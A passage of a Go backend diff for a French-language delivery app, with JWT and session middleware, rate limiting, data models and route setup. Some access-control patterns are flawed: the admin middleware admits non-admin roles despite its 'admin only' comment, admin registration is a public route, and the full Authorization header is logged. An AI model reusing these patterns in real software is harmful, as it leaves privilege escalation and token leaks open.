SessionID string `json:"session_id"`
jwt.RegisteredClaims
}
type AdminClaims struct {
UserID int `json:"user_id"`
Username string `json:"username"`
Role string `json:"role"`
SessionID string `json:"session_id"`
jwt.RegisteredClaims
}
// ============================================
// VARIABLES GLOBALES
// ============================================
var (
userJWTSecret = []byte(os.Getenv("USER_JWT_SECRET")) // ✅ Pour clients
adminJWTSecret = []byte(os.Getenv("ADMIN_JWT_SECRET")) // ✅ Pour admin/cabine/livreur
roleHierarchy = map[string][]string{
"admin": {"admin", "cabine", "livreur", "client"},
"cabine": {"cabine", "livreur", "client"},
"livreur": {"livreur", "client"},
}
)
// ============================================
// VALIDATION TOKENS
// ============================================
// validateClientToken valide un token client
func validateClientToken(tokenString string, database *db.Database) (*ClientClaims, error) {
tokenString = strings.TrimSpace(tokenString)
if tokenString == "" {
return nil, fmt.Errorf("token vide")
}
log.Printf("🔍 [VALIDATE-CLIENT] Validating client token...")
// Parser JWT EN PREMIER avec userJWTSecret (CLIENT)
token, err := jwt.ParseWithClaims(tokenString, &ClientClaims{}, func(token *jwt.Token) (interface{}, error) {
// Vérifier explicitement l'algorithme
if token.Method.Alg() != jwt.SigningMethodHS256.Alg() {
return nil, fmt.Errorf("unexpected signing algorithm: %v", token.Method.Alg())
}
return userJWTSecret, nil
})
if err != nil {
log.Printf("❌ [VALIDATE-CLIENT] JWT parse error: %v", err)
return nil, fmt.Errorf("jwt parsing failed: %v", err)
}
if !token.Valid {
log.Printf("❌ [VALIDATE-CLIENT] Token not valid")
return nil, fmt.Errorf("token not valid")
}
claims, ok := token.Claims.(*ClientClaims)
if !ok {
log.Printf("❌ [VALIDATE-CLIENT] Claims type error")
return nil, fmt.Errorf("invalid claims type")
}
if claims.Role == "" {
return nil, fmt.Errorf("role manquant dans le token")
}
if claims.Issuer != "api-client" {
return nil, fmt.Errorf("issuer invalide")
}
if claims.ExpiresAt.Unix() < time.Now().Unix() {
return nil, fmt.Errorf("token expiré")
}
log.Printf("✅ [VALIDATE-CLIENT] JWT valid - Username: %s, ClientID: %d", claims.Username, claims.ClientID)
return claims, nil
}
// validateAdminToken valide un token admin
func validateAdminToken(tokenString string, database *db.Database) (*AdminClaims, error) {
tokenString = strings.TrimSpace(tokenString)
if tokenString == "" {
return nil, fmt.Errorf("token vide")
}
log.Printf("🔍 [VALIDATE-ADMIN] Validating admin token...")
// Parser JWT EN PREMIER avec adminJWTSecret (ADMIN/CABINE/LIVREUR)
token, err := jwt.ParseWithClaims(tokenString, &AdminClaims{}, func(token *jwt.Token) (interface{}, error) {
if token.Method.Alg() != jwt.SigningMethodHS256.Alg() {
return nil, fmt.Errorf("unexpected signing algorithm: %v", token.Method.Alg())
}
return adminJWTSecret, nil
})
if err != nil {
log.Printf("❌ [VALIDATE-ADMIN] JWT parse error: %v", err)
return nil, fmt.Errorf("jwt parsing failed: %v", err)
}
if !token.Valid {
log.Printf("❌ [VALIDATE-ADMIN] Token not valid")
return nil, fmt.Errorf("token not valid")
}
claims, ok := token.Claims.(*AdminClaims)
if !ok {
log.Printf("❌ [VALIDATE-ADMIN] Claims type error")
return nil, fmt.Errorf("invalid claims type")
}
if claims.Role == "" {
return nil, fmt.Errorf("role manquant dans le token")
}
if claims.Issuer != "api-admin" {
return nil, fmt.Errorf("issuer invalide")
}
if claims.ExpiresAt.Unix() < time.Now().Unix() {
return nil, fmt.Errorf("token expiré")
}
log.Printf("✅ [VALIDATE-ADMIN] JWT valid - Username: %s, Role: %s, UserID: %d Issuer: %s ExpiresAt: %d",
claims.Username, claims.Role, claims.UserID, claims.Issuer, claims.ExpiresAt.Unix())
return claims, nil
}
// ============================================
// MIDDLEWARE AUTHENTIFICATION CLIENT
// ============================================
// ClientMiddleware valide le JWT d'un client
func ClientMiddleware(c *gin.Context) {
authHeader := c.GetHeader("Authorization")
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
log.Printf("❌ [CLIENT-MWARE] Authorization header manquant")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
c.Abort()
return
}
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
database := c.MustGet("database").(*db.Database)
claims, err := validateClientToken(tokenStr, database)
if err != nil {
log.Printf("❌ [CLIENT-MWARE] Token invalide: %v", err)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
c.Abort()
return
}
// ✅ NOUVEAU : Vérifier que le token n'a pas été révoqué
valid, err := database.IsTokenValid(tokenStr)
if err != nil {
log.Printf("❌ [CLIENT-MWARE] Erreur vérification token DB: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
c.Abort()
return
}
if !valid {
log.Printf("❌ [CLIENT-MWARE] Token révoqué ou expiré")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
c.Abort()
return
}
// Stocker les infos du client dans le contexte
c.Set("client_id", claims.ClientID)
c.Set("username", claims.Username)
c.Set("role", claims.Role)
c.Set("session_id", claims.SessionID)
log.Printf("✅ [CLIENT-MWARE] Client %s (ID=%d) authentifié", claims.Username, claims.ClientID)
c.Next()
}
// ============================================
// MIDDLEWARE AUTHENTIFICATION ADMIN
// ============================================
// AdminMiddleware valide le JWT d'un admin (role == "admin" SEULEMENT)
// ✅ Remplace le AdminMiddleware de handlers/auth.go
func AdminMiddleware(c *gin.Context) {
authHeader := c.GetHeader("Authorization")
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
log.Printf("❌ [ADMIN-MWARE] Authorization header manquant")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
c.Abort()
return
}
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
database := c.MustGet("database").(*db.Database)
claims, err := validateAdminToken(tokenStr, database)
if err != nil {
log.Printf("❌ [ADMIN-MWARE] Token invalide: %v", err)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token admin invalide"})
c.Abort()
return
}
// ✅ Check révocation
valid, err := database.IsTokenValid(tokenStr)
if err != nil {
log.Printf("❌ [ADMIN-MWARE] Erreur vérification token DB: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
c.Abort()
return
}
if !valid {
log.Printf("❌ [ADMIN-MWARE] Token révoqué ou expiré")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
c.Abort()
return
}
// Vérifier rôle
validRoles := []string{"admin", "cabine", "livreur"}
isValid := false
for _, role := range validRoles {
if claims.Role == role {
isValid = true
break
}
}
if !isValid {
log.Printf("❌ [ADMIN-MWARE] Role invalide: %s", claims.Role)
c.JSON(http.StatusForbidden, gin.H{"error": "Droits insuffisants - Accès admin requis"})
c.Abort()
return
}
// Stocker les infos de l'admin dans le contexte
c.Set("user_id", claims.UserID)
c.Set("username", claims.Username)
c.Set("role", claims.Role)
c.Set("session_id", claims.SessionID)
log.Printf("✅ [ADMIN-MWARE] Admin %s (Role=%s, ID=%d) authentifié",
claims.Username, claims.Role, claims.UserID)
c.Next()
}
// ============================================
// MIDDLEWARE AUTHENTIFICATION CABINE
// ============================================
// CabineMiddleware valide que l'utilisateur a accès à la cabine
// ✅ Remplace le CabineMiddleware de handlers/auth.go
func CabineMiddleware(c *gin.Context) {
authHeader := c.GetHeader("Authorization")
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
log.Printf("❌ [CABINE-MWARE] Authorization header manquant")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
c.Abort()
return
}
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
database := c.MustGet("database").(*db.Database)
claims, err := validateAdminToken(tokenStr, database)
if err != nil {
log.Printf("❌ [CABINE-MWARE] Token invalide: %v", err)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
c.Abort()
return
}
// ✅ Check révocation
valid, err := database.IsTokenValid(tokenStr)
if err != nil {
log.Printf("❌ [CABINE-MWARE] Erreur vérification token DB: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
c.Abort()
return
}
if !valid {
log.Printf("❌ [CABINE-MWARE] Token révoqué ou expiré")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
c.Abort()
return
}
// Vérifier hiérarchie des rôles
allowedRoles := roleHierarchy[claims.Role]
authorized := false
for _, r := range allowedRoles {
if r == "cabine" {
authorized = true
break
}
}
if !authorized {
log.Printf("❌ [CABINE-MWARE] Role non autorisé: %s", claims.Role)
c.JSON(http.StatusForbidden, gin.H{
"error": "Droits insuffisants - Accès cabine requis",
"your_role": claims.Role,
"allowed_roles": "admin, cabine",
})
c.Abort()
return
}
// Stocker les infos
c.Set("user_id", claims.UserID)
c.Set("username", claims.Username)
c.Set("role", claims.Role)
c.Set("session_id", claims.SessionID)
log.Printf("✅ [CABINE-MWARE] Cabine %s (%s) authentifiée", claims.Username, claims.Role)
c.Next()
}
// ============================================
// MIDDLEWARE AUTHENTIFICATION LIVREUR
// ============================================
// LivreurMiddleware valide que l'utilisateur est livreur
// ✅ Remplace le LivreurMiddleware de handlers/auth.go
func LivreurMiddleware(c *gin.Context) {
authHeader := c.GetHeader("Authorization")
if authHeader == "" || !strings.HasPrefix(authHeader, "Bearer ") {
log.Printf("❌ [LIVREUR-MWARE] Authorization header manquant")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token d'autorisation requis"})
c.Abort()
return
}
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
database := c.MustGet("database").(*db.Database)
claims, err := validateAdminToken(tokenStr, database)
if err != nil {
log.Printf("❌ [LIVREUR-MWARE] Token invalide: %v", err)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
c.Abort()
return
}
// ✅ Check révocation
valid, err := database.IsTokenValid(tokenStr)
if err != nil {
log.Printf("❌ [LIVREUR-MWARE] Erreur vérification token DB: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur serveur"})
c.Abort()
return
}
if !valid {
log.Printf("❌ [LIVREUR-MWARE] Token révoqué ou expiré")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token révoqué ou expiré"})
c.Abort()
return
}
// Vérifier hiérarchie des rôles
allowedRoles := roleHierarchy[claims.Role]
authorized := false
for _, r := range allowedRoles {
if r == "livreur" {
authorized = true
break
}
}
if !authorized {
log.Printf("❌ [LIVREUR-MWARE] Role non autorisé: %s", claims.Role)
c.JSON(http.StatusForbidden, gin.H{
"error": "Droits insuffisants - Accès livreur requis",
"your_role": claims.Role,
"allowed_roles": "admin, livreur",
})
c.Abort()
return
}
// Stocker les infos
c.Set("user_id", claims.UserID)
c.Set("username", claims.Username)
c.Set("role", claims.Role)
c.Set("session_id", claims.SessionID)
log.Printf("✅ [LIVREUR-MWARE] Livreur %s (%s) authentifié", claims.Username, claims.Role)
c.Next()
}
// ============================================
// SESSION MIDDLEWARE CLIENT (Existant)
// ============================================
// ClientSessionMiddleware valide la session Redis du client
func ClientSessionMiddleware(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// Récupérer le username du JWT (DÉJÀ VALIDÉ)
username, exists := c.Get("username")
if !exists {
log.Printf("❌ [SESSION-MWARE] Username manquant du JWT")
c.JSON(http.StatusUnauthorized, gin.H{
"error": "JWT invalide - username manquant",
})
c.Abort()
return
}
usernameStr := username.(string)
// Récupérer le client_id du JWT
clientID, ok := c.Get("client_id")
if !ok {
log.Printf("❌ [SESSION-MWARE] client_id manquant du JWT")
c.JSON(http.StatusUnauthorized, gin.H{
"error": "JWT invalide - client_id manquant",
})
c.Abort()
return
}
clientIDInt, ok := clientID.(int)
if !ok {
log.Printf("❌ [SESSION-MWARE] client_id malformé: %v", clientID)
c.JSON(http.StatusUnauthorized, gin.H{
"error": "JWT invalide - client_id malformé",
})
c.Abort()
return
}
// Vérifier la session Redis
session, err := database.GetClientSession(clientIDInt)
if err != nil {
log.Printf("❌ [SESSION-MWARE] Pas de session Redis pour client %d: %v", clientIDInt, err)
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Session expirée - Veuillez vous reconnecter",
"action": "Please login again",
})
c.Abort()
return
}
// Vérifier que les données correspondent
if session.Username != usernameStr {
log.Printf("❌ [SESSION-MWARE] MISMATCH! JWT=%s, session=%s", usernameStr, session.Username)
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Session invalide - Mismatch détecté",
})
c.Abort()
return
}
if session.ClientID != clientIDInt {
log.Printf("❌ [SESSION-MWARE] MISMATCH! JWT=%d, session=%d", clientIDInt, session.ClientID)
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Session invalide - client_id mismatch",
})
c.Abort()
return
}
// Prolonger la session
if err := database.RefreshSessionTimeout(clientIDInt); err != nil {
log.Printf("⚠️ [SESSION-MWARE] Erreur refresh: %v", err)
}
// Charger les infos dans le contexte
c.Set("session_id", session.SessionID)
c.Set("session", session)
c.Set("last_activity", session.LastActivity)
log.Printf("✅ [SESSION-MWARE] Session valide pour %s (client_id=%d)", usernameStr, clientIDInt)
c.Next()
}
// ============================================
// RATE LIMITING MIDDLEWARE
// ============================================
// RateLimitMiddleware limite le nombre de requêtes par client
// Config: 100 requêtes par minute par client
func RateLimitMiddleware(c *gin.Context) {
// Récupérer le client_id
clientID, ok := c.Get("client_id")
if !ok {
// Pas de client_id (requête publique), pas de rate limit
c.Next()
return
}
clientIDInt := clientID.(int)
rateLimitKey := "ratelimit:" + strconv.Itoa(clientIDInt)
// Incrémenter le compteur
count, err := db.Redis.Incr(db.RedisCtx, rateLimitKey).Result()
if err != nil {
log.Printf("⚠️ [RATELIMIT] Erreur: %v", err)
c.Next()
return
}
// Initialiser le TTL à la première requête
if count == 1 {
db.Redis.Expire(db.RedisCtx, rateLimitKey, 60*time.Second) // 1 minute
}
// Vérifier si dépassement (100 requêtes/min)
if count > 100 {
log.Printf("❌ [RATELIMIT] Client %d dépassé le limite: %d requêtes/min", clientIDInt, count)
c.JSON(http.StatusTooManyRequests, gin.H{
"error": "Trop de requêtes - Réessayez dans une minute",
})
c.Abort()
return
}
// Ajouter le header du remaining
c.Header("X-RateLimit-Remaining", strconv.FormatInt(100-count, 10))
log.Printf("📊 [RATELIMIT] Client %d: %d/%d requêtes", clientIDInt, count, 100)
c.Next()
}
// ============================================
// HELPER MIDDLEWARE
// ============================================
// VerifyAuthHeader vérifie que le header Authorization est valide
func VerifyAuthHeader(c *gin.Context) {
authHeader := c.GetHeader("Authorization")
if authHeader == "" {
log.Printf("❌ [AUTH-HEADER] Authorization header manquant")
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Authorization header manquant",
"hint": "Utilisez: Authorization: Bearer <token>",
})
c.Abort()
return
}
// Vérifier le format "Bearer <token>"
parts := strings.Split(authHeader, " ")
if len(parts) != 2 || parts[0] != "Bearer" {
log.Printf("❌ [AUTH-HEADER] Format invalide: %s", authHeader)
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Format Authorization invalide",
"hint": "Utilisez: Authorization: Bearer <token>",
})
c.Abort()
return
}
log.Printf("✅ [AUTH-HEADER] Format valide")
c.Next()
}
// SessionErrorRecovery récupère les erreurs de session
func SessionErrorRecovery(c *gin.Context) {
defer func() {
if err := recover(); err != nil {
log.Printf("❌ [SESSION-ERROR] Erreur système: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur serveur - Session compromise",
})
}
}()
c.Next()
if len(c.Errors) > 0 {
log.Printf("⚠️ [SESSION] Erreur handler: %v", c.Errors)
}
}
// LogSessionMiddleware log toutes les infos de session
func LogSessionMiddleware(c *gin.Context) {
username, _ := c.Get("username")
clientID, _ := c.Get("client_id")
sessionID, _ := c.Get("session_id")
log.Printf("📊 [SESSION-LOG] %s %s | user=%v | client_id=%v | session=%v",
c.Request.Method, c.Request.URL.Path, username, clientID, sessionID)
c.Next()
log.Printf("📊 [SESSION-LOG] Response: %d", c.Writer.Status())
}
// LoadClientContext charge les infos du client en contexte
func LoadClientContext(c *gin.Context, database *db.Database) (*db.SessionData, error) {
clientID, ok := c.Get("client_id")
if !ok {
return nil, fmt.Errorf("client_id manquant du contexte")
}
clientIDInt := clientID.(int)
// Récupérer la session
session, err := database.GetClientSession(clientIDInt)
if err != nil {
return nil, err
}
return session, nil
}
// ============================================
// DATABASE MIDDLEWARE
// ============================================
// DatabaseMiddleware injecte la base de données dans le contexte
func DatabaseMiddleware(db *db.Database) gin.HandlerFunc {
return func(c *gin.Context) {
c.Set("database", db)
c.Next()
}
}
+9
View File
@@ -0,0 +1,9 @@
package models
type AlertPolicy struct {
ID int `json:"id"`
Username string `json:"username"`
Status string `json:"status"`
CreatedAt string `json:"created_at"`
UpdatedAt string `json:"updated_at"`
}
+20
View File
@@ -0,0 +1,20 @@
// models/client.go
package models
import "time"
type Client struct {
ID int `json:"id"`
Username string `json:"username"`
Password string `json:"-"` // Ne jamais exposer le password dans le JSON
Nom string `json:"nom"`
Prenom string `json:"prenom"`
Telephone string `json:"telephone"`
Command int `json:"command"`
Point int `json:"point"`
PointZipette int `json:"points_zipette"`
Amende float64 `json:"amende"`
CancellationsCount int `json:"cancellations_count"` // ✅ NOUVEAU
LastPenaltyReason string `json:"last_penalty_reason"`
CreatedAt time.Time `json:"created_at"`
}
+39
View File
@@ -0,0 +1,39 @@
package models
import "time"
type Command struct {
ID int `json:"id"`
UserID int `json:"user_id"`
Username string `json:"username"`
Status string `json:"status"` // "pending", "assigned", "livre", "approved", "cancelled", "disabled"
Total float64 `json:"total"`
DeliveryAddress string `json:"delivery_address"` // Adresse de livraison pour cette commande
LivreurAssign string `json:"livreur_assign,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
// CommandItem représente un produit dans une commande
type CommandItem struct {
ID int `json:"id"`
CommandID int `json:"command_id"`
ProductID int `json:"product_id"`
Quantity int `json:"quantity"`
Price float64 `json:"price"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
type CommandPriority struct {
ID int `json:"id"`
Username string `json:"username"`
Status string `json:"status"`
Address string `json:"address"`
TotalPrice float64 `json:"total_price"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
WaitingSeconds int `json:"waiting_seconds"`
WaitingMinutes int `json:"waiting_minutes"`
PriorityScore float64 `json:"priority_score"`
}
+23
View File
@@ -0,0 +1,23 @@
package models
import "time"
type LivreurPosition struct {
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
UpdatedAt time.Time `json:"updated_at"`
Status string `json:"status"` // "idle", "en_route", "arrived"
}
type DeliveryIssue struct {
ID int `json:"id"`
CommandID int `json:"command_id"`
IssueType string `json:"issue_type"`
Description string `json:"description"`
Status string `json:"status"` // "open", "in_progress", "resolved"
ReportedBy string `json:"reported_by"`
ResolvedBy string `json:"resolved_by,omitempty"`
Resolution string `json:"resolution,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
+17
View File
@@ -0,0 +1,17 @@
package models
import "time"
type Media struct {
ID int `json:"id"`
ProductID int `json:"product_id"`
Type string `json:"type"`
URL string `json:"url"`
CreatedAt time.Time `json:"created_at"` // ✅ Ajouté
}
// Méthodes pour l'interface Database
func (m *Media) GetProductID() int { return m.ProductID }
func (m *Media) GetType() string { return m.Type }
func (m *Media) GetURL() string { return m.URL }
func (m *Media) SetID(id int) { m.ID = id }
+16
View File
@@ -0,0 +1,16 @@
package models
import "time"
type Panier struct {
ID int `json:"id"`
Username string `json:"username"`
ProductID int `json:"product_id"`
ProductName string `json:"product_name"`
Category string `json:"category"`
Description string `json:"description"`
Quantity float64 `json:"quantity"`
Price float64 `json:"price"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at,omitempty"`
}
+45
View File
@@ -0,0 +1,45 @@
package models
import "time"
type Product struct {
ID int `json:"id"`
Name string `json:"name" binding:"required"`
Category string `json:"category" binding:"required"`
Description string `json:"description"`
Stock float64 `json:"stock"` // ← ajouter le stock ici
Prices []ProductPrice `json:"prices"`
Media []Media `json:"media,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}
type ProductPrice struct {
ID int `json:"id"`
ProductID int `json:"product_id"`
Quantity int `json:"quantity" binding:"required"`
Price float64 `json:"price" binding:"required"`
CreatedAt time.Time `json:"created_at"`
}
type StockInfo struct {
ProductID int `json:"product_id"`
ProductName string `json:"product_name"`
Category string `json:"category"`
Quantity int `json:"quantity"`
Reserved int `json:"reserved"`
Available int `json:"available"`
LastUpdated string `json:"last_updated"`
}
// ============================================
// MÉTHODES POUR L'INTERFACE ProductInterface
// ============================================
func (p *Product) GetName() string { return p.Name }
func (p *Product) GetCategory() string { return p.Category }
func (p *Product) GetDescription() string { return p.Description }
func (p *Product) GetStock() float64 { return p.Stock } // ← méthode pour le stock
func (p *Product) GetPrices() []ProductPrice { return p.Prices }
func (p *Product) SetID(id int) { p.ID = id }
func (p *Product) SetCreatedAt(t time.Time) { p.CreatedAt = t }
func (p *Product) SetUpdatedAt(t time.Time) { p.UpdatedAt = t }
+29
View File
@@ -0,0 +1,29 @@
package models
import "time"
type CommandQueue struct {
CommandID int
Username string
TotalPrice float64
Address string
Lat float64 // ajouter
Lng float64 // ajouter
CreatedAt time.Time
EstimatedETA int
}
type DeliveryPersonStatus struct {
Username string `json:"username"`
Status string `json:"status"` // "available", "busy", "offline"
CurrentCommand int `json:"current_command,omitempty"`
LastUpdate time.Time `json:"last_update"`
}
type StockReservation struct {
ProductID int `json:"product_id"`
Quantity int `json:"quantity"`
Username string `json:"username"`
ExpiresAt time.Time `json:"expires_at"`
CommandID int `json:"command_id"`
}
+40
View File
@@ -0,0 +1,40 @@
package models
type Incident struct {
Type string `json:"type"`
Icon int `json:"iconCategory"`
Description string `json:"description"`
}
type IncidentResponse struct {
Incidents []struct {
Type string `json:"type"`
Icon int `json:"iconCategory"`
Description string `json:"description"`
} `json:"incidents"`
}
type RouteSummary struct {
TravelTimeInSeconds int `json:"travelTimeInSeconds"`
TravelTimeInMinutes int `json:"travelTimeInMinutes"` // Calculé
LengthInMeters int `json:"lengthInMeters"`
LengthInKm float64 `json:"lengthInKm"` // Calculé
TrafficDelayInSeconds int `json:"trafficDelayInSeconds,omitempty"`
DepartureTime string `json:"departureTime,omitempty"`
ArrivalTime string `json:"arrivalTime,omitempty"`
}
type RouteResponse struct {
Routes []struct {
Summary RouteSummary `json:"summary"`
Legs []struct {
Summary RouteSummary `json:"summary"`
} `json:"legs,omitempty"`
} `json:"routes"`
}
// IncidentsWithRoute combine incidents et informations de route
type IncidentsWithRoute struct {
Incidents []Incident `json:"incidents"`
Route RouteSummary `json:"route"`
}
+27
View File
@@ -0,0 +1,27 @@
package models
type UpdateClientProfileRequest struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"` // Optionnel
Nom string `json:"nom,omitempty"`
Prenom string `json:"prenom,omitempty"`
Telephone string `json:"telephone,omitempty"`
}
type UpdateUserProfileRequest struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"` // Optionnel
Role string `json:"role,omitempty"`
}
type AdminUpdateClientRequest struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"` // Optionnel
Nom string `json:"nom,omitempty"`
Prenom string `json:"prenom,omitempty"`
Telephone string `json:"telephone,omitempty"`
Command *int `json:"command,omitempty"`
Point *int `json:"point,omitempty"`
PointsZipette *int `json:"points_zipette,omitempty"`
Amende *float64 `json:"amende,omitempty"`
}
+8
View File
@@ -0,0 +1,8 @@
package models
type User struct {
ID int `json:"id"`
Username string `json:"username"`
Password string `json:"password,omitempty"` // omitempty pour ne pas l'exposer dans les réponses JSON
Role string `json:"role"` // "user" ou "admin"
}
+452
View File
@@ -0,0 +1,452 @@
// ============================================
// routes/routes.go - VERSION CORRIGÉE COMPLÈTE
// ============================================
package routes
import (
"gestion/db"
"gestion/handlers"
"gestion/middleware"
"gestion/services"
"github.com/gin-gonic/gin"
)
func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services.GeoService) {
// ============================================
// 🔐 MIDDLEWARE GLOBAL
// ============================================
router.Use(func(c *gin.Context) {
c.Set("database", database)
c.Set("geoService", geoService)
})
// ============================================
// 📋 PATTERN v1: CLIENT API
// ============================================
// ============================================
// 👤 AUTH ROUTES (v1) - PUBLIC
// ============================================
authGroupV1 := router.Group("/api/v1/auth")
{
authGroupV1.POST("/register", handlers.RegisterClient)
authGroupV1.POST("/login", handlers.LoginClient)
authGroupV1.POST("/logout", handlers.LogoutClient)
}
// ============================================
// 📦 PRODUITS (v1) - PUBLIC (SANS middleware!)
// ============================================
productsGroupV1 := router.Group("/api/v1")
{
productsGroupV1.GET("/products", handlers.GetAllProducts)
productsGroupV1.GET("/products/:id", handlers.GetProductByID)
productsGroupV1.GET("/products/category/:category", handlers.GetProductsByCategory)
}
// ============================================
// 🛒 PANIER (v1) - AVEC CLIENT MIDDLEWARE + SESSION
// ============================================
cartGroupV1 := router.Group("/api/v1")
cartGroupV1.Use(middleware.ClientMiddleware)
cartGroupV1.Use(middleware.ClientSessionMiddleware)
{
// Panier
cartGroupV1.POST("/panier/add", handlers.AddProductsBasket)
cartGroupV1.GET("/panier/:username", handlers.GetAllBaskets)
cartGroupV1.DELETE("/panier/remove", handlers.DeleteProductFromBasket)
cartGroupV1.DELETE("/panier/clear", handlers.ClearBasket) // ✅ CORRIGÉ - Sans :username
// Commandes
cartGroupV1.POST("/checkout", handlers.ValidateBasket) // ✅ Auto-assign GPS
cartGroupV1.GET("/my-commands", handlers.GetMyCommandsWithTracking) // ✅ Avec suivi
// ⭐ NOUVEAUX - SUIVI CLIENT TEMPS RÉEL
cartGroupV1.GET("/commands/:id/eta", handlers.GetOrderETA) // ✅ AJOUTÉ
cartGroupV1.GET("/commands/:id/status", handlers.GetCommandStatus) // ✅ AJOUTÉ
cartGroupV1.GET("/commands/:id/tracking", handlers.GetCommandTracking) // ✅ AJOUTÉ
cartGroupV1.GET("/commands/:id", handlers.GetCommandByID)
cartGroupV1.GET("/commands/:id/items", handlers.GetCommandItemsWithDetails)
// Approbation livraison
cartGroupV1.POST("/commands/:id/approve", handlers.ApproveDelivery)
// ⭐ NOUVEAU - HISTORIQUE DES COMMANDES TERMINÉES
cartGroupV1.GET("/my-commands/history/detailed", handlers.GetMyCompletedOrdersWithItems)
cartGroupV1.GET("/commands/:id/history", handlers.GetOrderHistory)
// ⭐ NOUVEAU - ANNULATION DE COMMANDE (CLIENT)
cartGroupV1.POST("/commands/:id/cancel", handlers.CancelCommandByClient)
cartGroupV1.GET("/my-cancellation-history", handlers.GetMyCancellationHistory)
// ⭐ NOUVEAU - HISTORIQUE DES COMMANDES TERMINÉES
cartGroupV1.GET("/my-commands/history", handlers.GetClientCommandsHistory)
// ⭐⭐ PÉNALITÉS CLIENT
cartGroupV1.GET("/penalties", handlers.GetMyPenalties) // Voir mes pénalités
// 👤 PROFIL CLIENT - MODIFICATION PAR LE CLIENT
cartGroupV1.PUT("/profile/update", handlers.UpdateMyProfile) // ✅ Modifier mon profil
}
// ============================================
// 🌍 GÉOCODAGE PUBLIC (v1)
// ============================================
geoGroupV1 := router.Group("/api/v1")
{
geoGroupV1.POST("/geocode", handlers.GeocodeAddress)
geoGroupV1.POST("/validate-address", handlers.ValidateAddress)
}
// ============================================
// 📋 PATTERN v2: ADMIN API
// ============================================
// ============================================
// 👤 ADMIN AUTH (v2) - PUBLIC
// ============================================
adminAuthGroupV2 := router.Group("/api/v2/admin/auth")
{
adminAuthGroupV2.POST("/register", handlers.RegisterAdmin)
adminAuthGroupV2.POST("/login", handlers.LoginAdmin)
adminAuthGroupV2.POST("/logout", handlers.LogoutAdmin)
}
// ============================================
// 🔒 ADMIN PROTECTED (v2) - AVEC ADMIN MIDDLEWARE
// ============================================
adminGroupV2 := router.Group("/api/v2/admin/protected")
adminGroupV2.Use(middleware.AdminMiddleware)
{
// ============================================
// CLIENT - GESTION
// ============================================
adminGroupV2.GET("/all/clients", handlers.GetAllClients)
adminGroupV2.GET("/all/users", handlers.GetAllUsers)
// ⭐⭐ MODIFICATION DE PROFILS PAR ADMIN
adminGroupV2.PUT("/clients/:id", handlers.UpdateClientByAdmin) // ✅ Modifier un client
adminGroupV2.PUT("/users/:id", handlers.UpdateUserByAdmin) // ✅ Modifier un user
adminGroupV2.DELETE("/clients/:id", handlers.DeleteClient)
adminGroupV2.DELETE("/users/:id", handlers.DeleteUser)
// Get location livreur
adminGroupV2.GET("/commands/:id/deliveryman/location", handlers.GetDeliverymanLocationForCommand)
// ============================================
// PRODUITS - GESTION
// ============================================
adminGroupV2.POST("/products", handlers.CreateProduct)
adminGroupV2.GET("/products", handlers.GetAllProducts)
adminGroupV2.GET("/products/:id", handlers.GetProductByID)
adminGroupV2.PUT("/products/update/:id", handlers.UpdateProduct)
adminGroupV2.DELETE("/products/:id", handlers.DeleteProduct)
adminGroupV2.POST("/products/:id/media", handlers.UploadMedia)
adminGroupV2.DELETE("/products/:id/media/:media_id", handlers.DeleteMedia)
// ============================================
// COMMANDES - GESTION DE BASE
// ============================================
adminGroupV2.GET("/orders", handlers.GetAllCommands)
adminGroupV2.GET("/orders/:id", handlers.GetCommandByID)
adminGroupV2.PUT("/orders/:id/address", handlers.UpdateCommandAddress)
adminGroupV2.POST("/orders/:id/force-validate", handlers.ValidateDelivery)
// ============================================
// ⭐ AUTO-ASSIGNATION GPS - ROUTES CRITIQUES
// ============================================
adminGroupV2.POST("/orders/:id/auto-assign", handlers.AutoAssignNearestDeliveryPerson)
adminGroupV2.POST("/orders/auto-assign-all", handlers.AutoAssignAllPendingCommands)
// ============================================
